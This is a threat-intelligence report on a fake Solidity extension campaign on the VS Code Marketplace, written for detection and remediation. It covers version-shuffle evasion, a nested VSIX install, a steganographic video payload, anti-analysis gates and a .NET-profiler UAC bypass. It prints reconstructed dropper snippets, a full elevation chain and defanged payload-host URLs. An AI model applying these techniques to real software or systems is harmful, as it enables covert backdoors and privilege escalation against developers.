SleepyDuck Registry-Hops: The Fake Solidity Extension Hits the VS Code Marketplace
Update (October 24, 2026): A second weaponized build, juanbanco.web3-tools version 0.0.195, was pushed later the same day under a new extension ID with the dropper obfuscated. The payload was byte-identical. Both listings and the juanbanco publisher account have since been removed from the VS Code Marketplace. See “A second push, under a new ID”. A third push followed that evening as jaunblanco.ethtools, with the same payload shipped from a build pipeline that leaves a clean twin on the listing. See “A third push, and a clean twin”. A fourth push, jaunblanco.ethertools version 0.0.193, moved the payload out of the package: the listed build installs a second extension, which downloads the video at runtime. See “A fourth push: the payload leaves the package”.
Pull up the listing and it clears review. The name reads solidity. The description matches the canonical extension word for word, the README is the canonical README with its install badges intact, and the version history holds a single 2.4 KB build that registers a hello-world command. There is nothing on that page to flag.
Then the listing changed its mind. Version 0.0.191, live for at most seventeen minutes before it was pulled, was 29.7 MB, and most of it was a video named The Duck Song.mp4 — the same steganographic carrier Yeeth Security documented on Open VSX a month ago, holding a compiled four-platform Go implant and a genuine ConnectWise ScreenConnect installer. The publisher account was registered the same day the package went up. The listing showed one install.
This is the fourth appearance of that operation in twelve months, and its first on Microsoft’s marketplace. Two more pushes followed, and the last one shows where the operation is going. The implant has not changed a single byte since April. What changes is the wrapper around it, and this wrapper now includes a technique aimed straight at the review process: stay clean whenever anyone looks. The display name is part of the same trick. It is solidity followed by ten zero-width space characters — invisible on the page, invisible in search, and distinct from every other extension with that name to anything comparing bytes.
TL;DR
- The operation moved to the VS Code Marketplace. Publisher
juanbanco(display name “Banker”) was created on October 23, 2026 and publishedweb3toolsthe same day — displayed assoliditywith ten U+200B zero-width characters appended. Previous waves of this family hit Open VSX in November 2025, April 2026, and September 2026. - A version shuffle kept the listing clean. A 2.4 KB hello-world build (
0.0.2) went up first, then a 29.7 MB weaponized build (0.0.191) served briefly, then the listing reverted to the clean build. The malicious build existed on the marketplace only in a short window. - The re-push came the same day, under a new ID. A second weaponized build (
0.0.195) appeared asjuanbanco.web3-tools— the originalweb3toolsidentifier with a hyphen inserted — with the dropper run throughjavascript-obfuscator. The payload was byte-identical. Both listings and the publisher account were later removed from the marketplace. - A fifth wave followed, under a bidi-spoofed publisher.
jaunblanco.ethtools0.0.187was built at 22:37 UTC on October 23, captured by Argus at 22:51, and pulled from the version history minutes later. It is still served by direct URL. The publisher display name uses a capitalIand a right-to-left override to render “Juan Blanco” while comparing as something else. - The fifth wave ships two packages from one source tree.
package:marketplacecompiles a stub with no runner and no video;package:fullcompiles the dropper. The build left on the listing is the stub, so a reviewer can install a working Solidity extension and never see the payload. - A sixth push removed the payload from the package.
jaunblanco.ethertools0.0.193is 73 KB and carries no video, no runner, and no binary. On activation it installs a second extension from a bundled 32 KB VSIX, using the editor’s own install command. That inner package downloads the 54 MB carrier from a file host and runs the dropper from a temporary directory. - All seven embedded payload files are byte-identical to the September campaign. The same
evjawbreakerGo implants for four platforms, the same ScreenConnect MSI (v25.4.3.9287), the same UAC-bypass script, the same ASCII-art duck note. - The implant has not changed since April 2026. The
linux_amd64binary in this package is byte-identical to the one shipped in the April Open VSX typosquat wave, six months and two delivery redesigns ago. The delivery wrapper evolves; the payload does not. - New in this wave: anti-analysis gates in the dropper itself. Before extracting anything, the payload runner checks for debuggers (x64dbg, IDA, Wireshark, dnSpy and others) and for virtual machines (VMware, VirtualBox, QEMU, Parallels, KVM). Prior waves carried these checks only inside the compiled binary.
- The Windows elevation technique is the .NET profiler bypass. The installer wrapper decompresses to a second script that registers a profiling DLL under an HKCU CLSID, sets
COR_ENABLE_PROFILINGin the user environment, and launches a Microsoft-signed MMC snap-in. The elevated MMC process loads the DLL, which executes the payload. The actor’s own file and variable names carry the technique index:uac39. - The Windows deploy check looks for ScreenConnect. The dropper treats the presence of any directory, process, or service containing the string
ScreenConnectas proof the backdoor is already installed. - Distribution was minimal: one install on the first listing. Both
juanbanco.web3toolsandjuanbanco.web3-tools, along with the publisher account, have since been removed from the VS Code Marketplace.
The version shuffle
Both builds were captured on the morning of October 23, 2026:
| Build | Size | Behavior | First analyzed (UTC) |
|---|---|---|---|
juanbanco.web3tools-0.0.2.vsix |
2.4 KB | Registers a hello-world command. No file, network, or process activity. | 02:52 |
juanbanco.web3tools-0.0.191.vsix |
29.7 MB | Drops a hidden binary, installs persistence, executes installers. | 03:11 |
The marketplace version history showed one row at the time of analysis: 0.0.2, last updated shortly before the weaponized build was captured. The shuffle works against three audiences at once. An automated review that samples the latest version samples the decoy. A manual reviewer who downloads “the extension” downloads the decoy. Only a victim who installs during the weaponized window — or an analyst watching the version feed continuously — sees the dropper. The economics are asymmetric: the threat actor re-publishes from a script for near zero cost, and the review surface resets each time.
The package metadata is a verbatim copy of the canonical extension’s, down to README badges that pull version and install counts from juanblanco.solidity, so the fake listing displays the real extension’s numbers. The only README change from September is the removal of the upstream maintainer’s anti-impersonation warning, 124 bytes. The engine constraint also dropped from ^1.85.0 to ^1.0.0, which removes every version gate on installation.
A second push, under a new ID
The predicted re-push landed the same day. A second weaponized build, juanbanco.web3-tools version 0.0.195, appeared on the VS Code Marketplace under a new extension identifier — the original web3tools with a hyphen inserted. Both this listing and the original juanbanco.web3tools listing, along with the publisher account, were removed from the marketplace shortly after.
The payload did not change. All seven embedded archive entries, the The Duck Song.mp4 carrier, and the extension.js entry point are byte-identical to the 0.0.191 build. The only material change is the dropper itself. lang-resource-sync.js went from 25 KB of readable JavaScript to 399 KB of javascript-obfuscator output: 13,068 lines, a 2,564-entry string array with rotation, and control-flow flattening. Deobfuscated, the logic matches 0.0.191 function for function — the same anti-debug and anti-VM gates, the same NYANSTEG decode, the same per-platform persistence. No new capability, no new command-and-control. The obfuscation exists to defeat static string matching in the dropper stage, not to change what the dropper does.
The obfuscation step left its fingerprints in the package. A new npm script, obfuscate:lang-resource, names a source file lang-resource-sync.source.js and invokes npx javascript-obfuscator with a config file, obfuscate-lang-resource.json. The comments in the runner — including the one that names Cursor — were stripped by the obfuscator, so they no longer appear as literals. Two smaller metadata tweaks accompanied the re-push: the display name lost one of its ten zero-width characters, and a publisherName field set to "Juan Blanco" was added to the package metadata.
The version number jumped from 0.0.191 to 0.0.195. The three builds in between never reached the marketplace. The served package was gzip-compressed, unlike the plain ZIP of the first dropper.
A third push, and a clean twin
A few hours after the second takedown, the operation published again: publisher jaunblanco, one transposed letter from the real maintainer’s handle, extension ethtools, version 0.0.187, 29.8 MB. Build timestamps inside the archive read 22:37 UTC on October 23. Argus captured it at 22:51:41, and the hash-indirect rule described below fired fourteen seconds later. The version no longer appears in the listing’s history. A direct gallery URL for 0.0.187 still returns it, and the decompressed artifact hashes to the same file Argus scanned.
Three builds sit under that publisher, and the difference between them is the story:
| Build | Size | Contents | Status |
|---|---|---|---|
0.0.2 |
2.4 KB | extneison, “A minimal test extension”, no payload |
listed |
0.0.186 |
39 KB | real grammar and snippets, runner stubbed out | listed and currently served |
0.0.187 |
29.8 MB | full dropper plus the 54 MB duck carrier | hidden from history, still fetchable by URL |
The payload did not change again. All seven embedded files are byte-identical to the September set, and The Duck Song.mp4 is the same 54,130,171-byte file. The wrapper changed twice.
The first change is structural. The extension is now four small TypeScript-compiled modules instead of one 398 KB obfuscated script: out/extension.js (2.9 KB) calls out/components/autoUpdate.js, which re-exports autoUpdate.payload.js (5.5 KB), which spawns mp4Deploy.js (28 KB). The dropper logic is readable again, comments included.
The second change is the reason this wave matters. The clean build is no longer a placeholder. 0.0.186 carries the same metadata and README and installs as a working language extension — but has no video, no mp4Deploy.js, and an attemptUpdate() function whose entire body is a comment:
/** Marketplace VSIX — grammar/snippets only; no sync runner in bundle. */
function attemptUpdate(_extensionPath) { }
The stub build even ships the ignore file that produced it. .vscodeignore.marketplace lists exactly the files missing from that build — The Duck Song.mp4, lang-resource-sync*, out/components/autoUpdate.payload.js, out/components/autoUpdate.dev.js, out/components/autoUpdate.market.js, scripts/** — and the package.json exposes two package scripts, package:marketplace and package:full. One source tree, two compilations: a store build that cannot execute the dropper because the dropper is not in it, and a full build that can.
That changes the shape of the shuffle. In the first wave the clean version was a hello-world stub that did nothing, which is itself a tell. Here the clean version installs normally and works. An automated review that samples the listed build sees a grammar, a snippet set, and no executable surface. The dropper is a separate package, built from the same tree, and still served to anyone who requests that version by number.
The publisher identity got the same treatment. In package.json the publisherName is the plain string Juan Blanco. On the gallery page the publisher line renders as “Juan Blanco” but is stored as Juan BIan + U+202E (right-to-left override) + oc: a capital I standing in for the lowercase l, and a bidi control reordering the last two letters. Search, filtering, and exact-match comparison see a different string from the one a human reads.
The 0.0.2 placeholder is also not the same file as last time. It is a 2.4 KB extneison package that still registers a leftover command from another test build:
vscode.commands.registerCommand('xander-asfasfzxcxzcxv-test.helloWorld', () => {
vscode.window.showInformationMessage('Hello from xander (publisher: asfasfzxcxzcxv)!');
});
A reused template, with the previous owner’s strings still inside it.
A fourth push: the payload leaves the package
The next build reached the listing at 00:27 UTC on October 24: publisher jaunblanco, extension ethertools, version 0.0.193. The package is 73,867 bytes across 15 files. It holds a grammar, a snippet set, a README copied from the canonical extension, and one archive named resources/bundled.payload. There is no video, no runner, and no compiled implant. By size and file list, it reads as a language extension.
It is not. The listed build installs a second extension.
On activation, out/extension.js waits between 60 and 150 seconds, copies the bundled archive to a temporary file, and passes it to the editor’s own install command:
// analyst interpretation of the activation flow
const bundled = path.join(hostExtensionPath, 'resources', 'bundled.payload');
const tmpVsix = path.join(os.tmpdir(), `sol-bundled-${Date.now()}.vsix`);
fs.copyFileSync(bundled, tmpVsix);
await vscode.commands.executeCommand(
'workbench.extensions.command.installFromVSIX', [vscode.Uri.file(tmpVsix)]
);
The archive is a nested VSIX, 32,885 bytes, and its identity is not jaunblanco.ethertools. It is juanblanco.solidity version 0.0.2, display name “Solidity language runtime helpers” — the real maintainer’s publisher ID, not the transposed one used for delivery. The install runs through the editor’s normal extension path, so the second package lands in the extensions directory like any other extension. If juanblanco.solidity is already installed, the host returns without installing anything. A machine that runs the genuine extension never receives the second stage.
The inner extension carries the dropper. It waits another 45 to 105 seconds, fetches a media file over HTTPS, writes it to the temporary directory, and starts mp4Deploy.js as a detached Node process:
// analyst interpretation of the second stage
const child = spawn(process.execPath, [deployScript, extensionPath, mediaPath], {
detached: true, stdio: 'ignore', windowsHide: true
});
child.unref();
Both URLs are stored as hex string fragments in out/publishUrls.js and assembled at runtime: https[://]litter[.]catbox[.]moe/9yh14d.mp4 and https[://]litter[.]catbox[.]moe/bzp6p9.txt. litter.catbox.moe is a legitimate file-hosting service. The malicious components are the two uploaded files. Both were live at analysis time. The MP4 is 54,130,171 bytes with SHA-256 e618a7507a152c44b08bbb87ebf8997444eb79b0a2c2d6c796d333e93d2b136d, and NYANSTEG starts at byte offset 3,944,464. The seven archive entries are byte-identical to the September set. Only the .mp4 URL is called in this build; the second URL returns an 840-line copy of the runner that the inner package does not use.
The payload did not change. Its location did. The listed package contains a grammar, a README, and one opaque archive. The executable stage is a separate extension, installed by the editor at the request of the first. The 54 MB carrier is not in the package at all; it arrives from a file host after two randomized delays. Package size, file inventory, and archive inspection no longer describe the attack surface.
The host entry point is unchanged from the previous wave. out/extension.js in 0.0.193 is byte-identical to the 0.0.187 file (48b97958…), including the SHA-256 lookup for child_process and exec and the An eye for an eye my friend. marker. The loader is now a fixed component. The new work went into packaging: a store build that installs a second package, and an inner build that downloads its carrier.
The shuffle repeated with the same template. The first build on the listing was 0.0.2, 2,398 bytes, the extneison placeholder with the xander-asfasfzxcxzcxv command. The listing then changed to 0.0.193, and that is the only version in the history. The publisher line renders as “Juan Blanco” from a plain ASCII string; the bidi override from the previous wave is gone. The display name is solidity followed by 22 U+200B characters. Yeeth Security captured the build at 00:32 UTC, five minutes after the listing changed, while the listing was still live.
The evasion we published, in the dropper
The entry point of 0.0.187 does something none of the previous droppers did: it hides the call to child_process.exec behind a SHA-256 lookup, and it carries a marker string.
const tag = (s) => createHash('sha256').update(s).digest('hex');
const pick = (xs, h) => xs.find((x) => tag(x) === h);
const pkg = pick(builtinModules, 'f2d8255a…'); // resolves to "child_process"
const api = require(pkg);
const run = api[pick(Object.keys(api), '2706c619…')]; // resolves to "exec"
const marker = '416E2065796520666F7220616E20657965206D7920667269656E642E';
if (run !== marker) { attemptUpdate(context.extensionPath); }
The hex decodes to An eye for an eye my friend. — the same easter egg, and the same two hashes, that Yeeth published in The Scanner Is the Target in June, describing an internal red-team probe from that month. The comparison can never be true: run is a function and marker is a string, so the branch always falls through to the dropper. The block is a signature, not a gate.
Whether the same operator borrowed a published technique or someone is deliberately testing the rule that publication produced, the operational effect is the same: the package now carries a deterministic static anchor that exists before any payload is unpacked. Y_Mal_hash_indirect_require, written after the June probe, hit this build at 22:51:55 — in the fast-static stage, before the video was opened.
The rest of the dropper is the October script moved into modules: the same isDebugged, isLinuxVM, isDarwinVM, isWindowsVM, and shouldSkipInstall gates, the same NYANSTEG → NYANB64X → NYANARCH parse, the same systemd unit, LaunchAgent, UAC 39 chain, and %TEMP%\solidity-langsupport-debug.log. The comment that explains the debugger gate is still there, now in mp4Deploy.js:
// Only block when a debugger is actually attached, not just because
// VS Code/Cursor reserve a debug port (process.debugPort is always > 0 there).
What activates
The weaponized build declares Snippets and Programming Languages categories, and its package.json is nearly empty of anything executable-looking:
{
"name": "web3tools",
"displayName": "solidity\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b",
"activationEvents": ["onStartupFinished"],
"main": "./out/extension.js"
}
onStartupFinished fires every time the editor starts, after the window is up. The entry point calls one function in out/components/autoUpdate.js, which first asks whether the deployment already exists — on Windows by scanning Program Files, Program Files (x86), LOCALAPPDATA, and APPDATA for any directory whose name contains ScreenConnect, then by probing running processes and services for the same string. The string itself is stored hex-encoded (53637265656e436f6e6e656374) so it does not appear as a literal in the source. On Linux and macOS the check looks for specific files under ~/.solidity.
If the deployment is not found, the extension spawns a detached Node process and returns:
// analyst interpretation of the activation flow
const child = spawn(bin, [runner, video], {
detached: true,
stdio: 'ignore',
windowsHide: true
});
child.unref();
The editor opens normally. The syntax highlighting works. Two arguments go to the spawned process: lang-resource-sync.js and The Duck Song.mp4.
New gates: anti-debug and anti-VM
The runner is the September script with 128 added lines, all of them anti-analysis. The gate runs before any payload logic does. It probes for analysis environments and exits silently if it finds one:
- Debugger check — on Windows, a PowerShell probe for processes named
x64dbg,ollydbg,windbg,ida,ida64,procmon,processhacker,wireshark,fiddler, ordnspy, plus[System.Diagnostics.Debugger]::IsAttached. - VM checks — on Linux, DMI product-name strings (
virtualbox,vmware virtual platform,qemu,bochs,parallels,kvm virtual machine…) and thehypervisorCPU flag from/proc/cpuinfo; on macOS,sysctl hw.modelandioregoutput; on Windows, WMI queries againstWin32_ComputerSystemmodel and vendor plusWin32_BIOSversion and serial number.
The compiled implant has carried anti-VM checks internally since April. Moving the gate into the JavaScript stage means a sandbox that executes only the extension, or only the runner, now sees a file that does nothing — no archive read, no extraction, no persistence writes.
One artifact survives from September and grows: the extension logs its entire deployment to %TEMP%\solidity-langsupport-debug.log on Windows. This build logs spawn PIDs, msiexec exit codes, Defender-exclusion results, and probe outcomes. It reads like a developer iterating on install failures — from live deployment attempts.
The diff against the September runner is short and revealing. Two hunks: 123 added lines for the anti-analysis functions, and a five-line guard at the top of main(). Everything else in the 829-line file is byte-identical. The added code even keeps the comment that explains why it exists:
// Only block when a debugger is actually attached, not just because
// VS Code/Cursor reserve a debug port (process.debugPort is always > 0 there).
That comment records a failure. An earlier version of the gate checked process.debugPort, which is set inside ordinary editor sessions, so the dropper aborted on real victims. The October build is the fixed version, and the fix is written against the editor environments the threat actor expects to run in. The comment names Cursor.
The container and the payload
The 54 MB The Duck Song.mp4 carries the same three-stage container as the September pair: a NYANSTEG magic glued into an MP4 free box, a SHA-256 digest over the embedded stream, a NYANB64X token-substitution layer, and a NYANARCH archive with per-entry SHA-256 verification. The video plays in any media player. The archive holds seven files, and all seven are byte-identical to the September extraction:
| Entry | Size (bytes) | SHA-256 |
|---|---|---|
linux_amd64 (evjawbreaker, Go 1.26, stripped) |
6,291,618 | 9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696 |
linux_arm64 |
5,832,866 | b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565 |
darwin_amd64 |
6,392,832 | 80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f |
darwin_arm64 |
5,918,146 | fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358 |
app.msi (ConnectWise ScreenConnect v25.4.3.9287) |
13,189,120 | 7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da |
invoke.ps1 (UAC-bypass launcher) |
13,258 | 37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e |
note.txt (ASCII-art duck, “your prize is nothing”) |
866 | 683ad81cdc028c538ee66da8e6b60f2a5ab070bfd900da80175df317a73886d8 |
The capabilities of the evjawbreaker implant — TLS C2 hub, Ethereum JSON-RPC dead-drop tasking across twelve public RPC endpoints, interactive PTY shell, output capture — are described in the September analysis; the binaries have not changed a byte since.
The MSI is genuine ConnectWise build output: OLE author ScreenConnect Software, WiX Toolset 3.11, a build date of June 5, 2025, and the ScreenConnect installer-action DLLs. It carries no Authenticode signature. There is no DigitalSignature stream in the compound file and no PKCS#7 signed-data blob anywhere in the 13 MB file. The trust it borrows is the product name, not a certificate.
The implant’s chain channel is also narrower than the earlier analysis assumed. Only one Ethereum JSON-RPC method is compiled into the binaries: eth_call. The implant reads tasking from a contract at 0xf8a900Db50b3331be6B768bA460BB59f3E40C344; it does not write to the chain. Tasking is set by the operator from outside, and every check-in is a read against twelve public RPC endpoints.
The persistence paths are also unchanged: on Linux, ~/.solidity plus a systemd user unit named solidity-langsupport-runner.service; on macOS, ~/.solidity plus a LaunchAgent labeled com.solidity.langsupport.runner (this build now clears quarantine attributes with xattr -c before first run); on Windows, invoke.ps1 elevates through a UAC bypass, stages the MSI in a hidden, system-marked temporary directory under LOCALAPPDATA, adds a Microsoft Defender exclusion for that directory, runs msiexec /q /i app.msi ALLUSERS=1, waits for the install to finish, then removes the exclusion, the staging directory, and every intermediate script in a finally block.
The carrier got smaller
The archive did not change; the box around it did. September shipped 37.6 MB of payload inside a 205 MB video. October ships the same 37.6 MB inside a 54 MB video. Payload density rose from 18 percent of the carrier to 70 percent. The extension package fell from 205 MB to 30 MB, which shortens upload time, reduces mirror storage, and draws less attention from size-based review heuristics. The trade is that the video no longer tolerates casual inspection: the September file was a real music video for most of its length, while the October file is mostly payload.
Six waves, one implant
| April 2026 (Open VSX) | September 2026 (Open VSX) | October 22 (Marketplace) | October 23 (Marketplace) | October 24 (Marketplace) | |
|---|---|---|---|---|---|
| Extension | juanbanco-.solidity 0.0.189 |
alejandroaranda.solidity-langsupport 0.0.6 |
juanbanco.web3tools 0.0.191 |
jaunblanco.ethtools 0.0.187 |
jaunblanco.ethertools 0.0.193 |
| Delivery | binaries in extension/bin/ |
steganographic MP4 | steganographic MP4 | MP4 plus a clean-twin store build | 73 KB host, nested VSIX, MP4 fetched at runtime |
| Windows payload | none | ScreenConnect MSI + UAC bypass | same files | same files | same files |
| Anti-analysis | inside the Go binary | inside the Go binary | Go binary + JavaScript gates | Go binary + JavaScript gates + hash-indirect require | same gates, unchanged loader |
| Implant | evjawbreaker |
byte-identical | byte-identical | byte-identical | byte-identical |
| Carrier size | 19 MB | 205 MB | 30 MB | 30 MB | 54 MB, not in the package |
The pattern is a delivery-layer arms race with a frozen payload. Between April and October the threat actor rewrote how the implant travels five times: binaries inside the extension, then inside a video, then a separate full build, then a nested extension that downloads the video after installation. The implant itself has not been recompiled since March 2026.
The elevation chain
The Windows path deserves a closer read than “UAC bypass”, because the mechanism is specific and the artifact is layered.
invoke.ps1 is not the bypass. It is a wrapper that pads its own code with dead arithmetic ($passiveRoutineCompass = (2751 + 4776), never used), registers that read like generated filler ($wistfulBeaconMirror, $temporalShadowObserveKernel), and a base64 calc.exe as its default command, with the same string also assembled from fragments ('c','a','lc','.e','xe'). Its job is to pick a clean Windows PowerShell 5.1 binary, decompress a Deflate blob into %TEMP%\uac39-inner-<guid>.ps1, and run it:
# analyst reconstruction of the wrapper's behaviour
$inner = <base64> | deflate -> "%TEMP%\uac39-inner-<guid>.ps1"
powershell.exe -NoProfile -ExecutionPolicy Bypass -File $inner -Command <payload>
# then parse stdout/stderr/exit code, and detect blocks:
# reversed AV strings, or exit code -1073740791 (0xC0000409)
That exit code is STATUS_STACK_BUFFER_OVERRUN, which Windows returns when AMSI blocks a script. The wrapper checks for it, checks for reversed Defender message fragments, and falls back to launching its secondary command through cmd.exe if the inner runner is blocked.
The decompressed inner script is a different artifact in style: 199 lines of plainly named, unobfuscated PowerShell with functions such as Test-IsElevated, Test-IsLocalAdminMember, and Invoke-DotNetProfilerBypassAttempt. Two authorship styles in one file, which is consistent with borrowed bypass code wrapped in a padded launcher.
The bypass itself is UACME method 39, Stefan Kanthak’s .NET Code Profiler technique, which has worked from Windows 7 onward and is still listed as unfixed. The target is mmc.exe, and the actor’s naming follows the method index:
user is already elevated -> run the command hidden, exit
user is not in Administrators -> ordinary RunAs prompt, retried on cancel
user is a local administrator -> silent elevation:
profiler.dll -> %TEMP%\uac39-<guid>\profiler.dll
HKCU\Software\Classes\CLSID\{GUID}\InprocServer32 -> profiler.dll
user env: COR_ENABLE_PROFILING=1, COR_PROFILER={GUID},
COR_PROFILER_PATH=<dll>, UAC39_PAYLOAD=<command>
broadcast WM_SETTINGCHANGE, then launch mmc.exe taskschd.msc
(fallbacks: compmgmt.msc, eventvwr.msc, secpol.msc, gpedit.msc)
.NET inside the elevated MMC loads the profiler DLL, which reads
UAC39_PAYLOAD and starts the command in the elevated token
poll profiler-result.txt for "TokenIsElevated=1" (8 second deadline)
then remove the CLSID key, clear the variables, delete the work directory
Every component of that chain is per-user and needs no administrator rights to set up: the CLSID lives in HKCU, and the environment variables are user-scope. The elevation comes from mmc.exe, a Microsoft-signed binary whose manifest requests the highest available privilege, so for a user who is already a local administrator it starts elevated with no prompt. The profiler DLL then runs inside that elevated .NET process. The DLL writes its result to disk with the process ID and the elevation state of its own token, which is how the script confirms success before cleaning up.
The choice of targets tells the rest. All five are MMC snap-ins that a developer or IT administrator opens routinely, and all five auto-elevate. The threat actor did not need a vulnerable service, a scheduled task, or a hijackable auto-start binary. They needed a signed Microsoft program that loads .NET on request.
Linkage evidence
Seven byte-identical payload files are the headline, but the linkage does not rest on the payload alone:
- Byte-identical payload set. All 7 archive entries match the September 24, 2026 extraction by SHA-256, including the ScreenConnect MSI and the easter-egg note.
- Same container format.
NYANSTEG/NYANB64X/NYANARCHmagics, same free-box placement, same digest structure — a format with no public documentation outside these campaigns. - Same persistence identifiers.
solidity-langsupport-runner.serviceandcom.solidity.langsupport.runner— service names first observed in the September pair. - Same dead-drop contract. All four platform binaries contain the same Ethereum address,
0xf8a900Db50b3331be6B768bA460BB59f3E40C344, and the Linux build is byte-identical to the April one. - Same debug-log path.
%TEMP%\solidity-langsupport-debug.log. - Same description string.
Ethereum Solidity Language for Visual Studio Code, copied from the canonical extension. The September variants appended& Cursor; this wave reverts to the exact upstream wording. - Same publisher-name rotation. The April 2026 wave published as
juanbanco-(trailing hyphen); this wave publishes asjuanbanco. The version number0.0.191continues the April wave’s0.0.189sequence. - Same bait. A Solidity extension impersonating JuanBlanco’s, bundling a video the platform has no reason to ship.
The available evidence does not establish that a single threat actor controls every extension in this family. The byte-identical implant across the April, September, and October builds is the strongest link, and it is the same binary in all three.
Why it evades review
| Defender assumption | Actor behavior |
|---|---|
| The listed version is the artifact | Weaponized build serves in a short window, then the listing reverts to a 2.4 KB decoy |
| A clean scan of the package clears the listing | The malicious bytes live inside a media file, inside a custom container, decoded only by the dropper’s own parser |
| The listed package contains the code under review | One source tree builds two packages: package:marketplace ships a stub with no runner, package:full ships the dropper under a version that stays fetchable after delisting |
| Package size and file inventory describe the attack | A 73 KB listing installs a second extension from a 32 KB bundled archive, then downloads the 54 MB carrier over HTTPS |
| An install is one artifact | The first extension installs a second one through the editor’s own extension install command, 60 to 150 seconds after first activation |
| A publisher name check catches impersonation | Homoglyph and bidi characters make the rendered name “Juan Blanco” while the stored bytes differ from it |
| Display-name checks catch impersonation | Ten zero-width characters make the name technically distinct while rendering identically |
| Sandbox execution exposes behavior | Debugger and VM checks in the JavaScript stage abort before any payload logic runs |
| A commercial vendor’s installer carries a signature | The MSI has no Authenticode signature at all. Its trust comes from the product identity inside it, not from a certificate |
| Snippet and language extensions are declarative | The Snippets-categorized package bundles executable code and a 54 MB video |
Outlook
Expect this operation to keep registry-hopping. It has now used both registries that serve VS Code users, and the marketplace’s version shuffle is a working refinement of the republish loop seen on Open VSX in May 2026. Expect the push-pull cycle to repeat on a fresh namespace — the same payload set has survived six deployments unchanged, so there is no pressure on the actor to rewrite it. The anti-analysis gates added to the JavaScript stage indicate the actor assumes sandboxed review; the clean-twin build pipeline indicates the actor also assumes the listed package will be reviewed on its own; the nested install indicates the actor now assumes the package will be inspected and hashed in isolation. The next refinement will likely move more of the chain out of the package — code fetched at runtime, not only media — and will add further delay or environment checks between the first extension and the second. The Windows path will keep using a signed Microsoft binary that loads .NET, because the technique depends on auto-elevation rather than a vulnerability, and it will keep failing only when Microsoft changes which MMC snap-ins auto-elevate. And as long as a genuine ScreenConnect installer keeps passing as a legitimate enterprise tool, the Windows backdoor will remain an unsigned MSI carrying a commercial vendor’s product name, which is enough.
Remediation
If juanbanco.web3tools, juanbanco.web3-tools, jaunblanco.ethtools, jaunblanco.ethertools, or any extension matching this pattern is installed:
- Uninstall the extension and audit the install window. Any version downloaded as
0.0.191,0.0.195,0.0.187, or0.0.193should be treated as a dropper execution, not a failed install. The clean sibling builds (0.0.2,0.0.186) carry no payload, but the publisher account behind them should be treated as hostile. - Check the extensions directory for a second
juanblanco.solidityentry at version0.0.2with the display name “Solidity language runtime helpers”. The genuine extension uses the same publisher ID, so compare the install path and version, not the identifier alone. Remove the entry and its folder if it does not resolve to the real installation. - Check the temporary directory for leftovers from the nested install and the runtime fetch:
sol-bundled-<epoch>.vsixand.sol-rt-<epoch>-<pid>.dat(Windows%TEMP%, POSIX/tmp). - Check for the implant directory
~/.solidityand remove it. - On Linux, remove
~/.config/systemd/user/solidity-langsupport-runner.serviceand runsystemctl --user daemon-reload. On macOS, remove~/Library/LaunchAgents/com.solidity.langsupport.runner.plistand unload the label. - On Windows, check for ScreenConnect installation directories under
Program Files,Program Files (x86),LOCALAPPDATA, andAPPDATA, and for ScreenConnect processes and services. Check Microsoft Defender exclusions for entries pointing at temporary or dot-prefixed directories. The debug log at%TEMP%\solidity-langsupport-debug.logrecords what the dropper did on the machine. - Remove the elevation artifacts:
%TEMP%\uac39-*files and directories, anyHKCU\Software\Classes\CLSID\{...}\InprocServer32key pointing at aprofiler.dllin a temp directory, and the user environment variablesCOR_ENABLE_PROFILING,COR_PROFILER,COR_PROFILER_PATH, andUAC39_PAYLOAD. - Treat an installed ScreenConnect client as a live remote-access backdoor: revoke the access credentials, uninstall it, and rotate any secrets handled on the machine.
The general principle this campaign teaches: a listing is not an artifact, and a package is not its attack surface. Trust must bind to the exact bytes of a specific version, because version churn is the cheapest evasion a marketplace publisher has, and the executable stage can arrive after installation.
IOCs
Extension identity
- Publisher:
juanbanco(display name “Banker”, account created 2026-10-23) - Extension:
juanbanco.web3tools - Display name:
solidity+ U+200B × 10 - Extension (re-push):
juanbanco.web3-tools - Display name (re-push):
solidity+ U+200B × 9 - Description:
Ethereum Solidity Language for Visual Studio Code(verbatim copy) - Publisher:
jaunblanco(gallery displayJuan BIan+ U+202E +oc, renders as “Juan Blanco”) - Extension:
jaunblanco.ethtools - Display name:
solidity+ U+200B × 21 - Publisher (fourth push):
jaunblanco(gallery display “Juan Blanco”, plain ASCII) - Extension (fourth push):
jaunblanco.ethertools0.0.193 - Display name (fourth push):
solidity+ U+200B × 22 - Nested package identity:
juanblanco.solidity0.0.2, “Solidity language runtime helpers” - Placeholder identity:
extneison, “A minimal test extension”
Package hashes
juanbanco.web3tools-0.0.2.vsix:bfb72c3860c4d93b114ac61e58e13208466dce11ce29e1ee8e87637a911ec9d4(decoy)juanbanco.web3tools-0.0.191.vsix:968ee1e3a057e2d980195ffa6778db277a1fb797315b9392a89331efcfae04eb(dropper)juanbanco.web3-tools-0.0.195.vsix:e35e6bc64b0b13d209afb762abfc2096a0d95c715a89c3991536c5ff2027ea6f(obfuscated re-push, gzip-served)jaunblanco.ethtools-0.0.2.vsix:d10d33088fa560be619e958d50aaf376a300606fca8fcce4602e405c6dc064a6(placeholder, 2.4 KB)jaunblanco.ethtools-0.0.186.vsix:1c3cedc15f6bbd9fe78d2bf517677ef3c1c7ddec95a6f08487fde73c4f6160b2(clean stub)jaunblanco.ethtools-0.0.187.vsix:74cfa4a2314304400b0809764999ed301e9270910ffb8f1a34fc529f480f4711(dropper)jaunblanco.ethertools-0.0.2.vsix:8fcca165556733e9adb8b07b03de6dd96d1b8fe45688ef1bce4299c937c99ac8(placeholder, 2.4 KB)jaunblanco.ethertools-0.0.193.vsix:6da1f3aba0a88181e5996e8ac5ee705837f894dc6f635744859e1bfcfc5ea729(nested-install host)resources/bundled.payload(nested VSIX, 0.0.193):c80e1c7bef98479f58d869f85d740d9265dd4115e4680081190b55607b7909bclang-resource-sync.js(payload runner):3c1d579e9ff798f0d87f452d585aae90b3b64a4b4d083b737d9857c9b81517bdout/extension.js(0.0.187 entry point):48b97958c28b5e09a18668e664660457eee6d954d8edc7f582d40682df37642dout/components/mp4Deploy.js(0.0.187 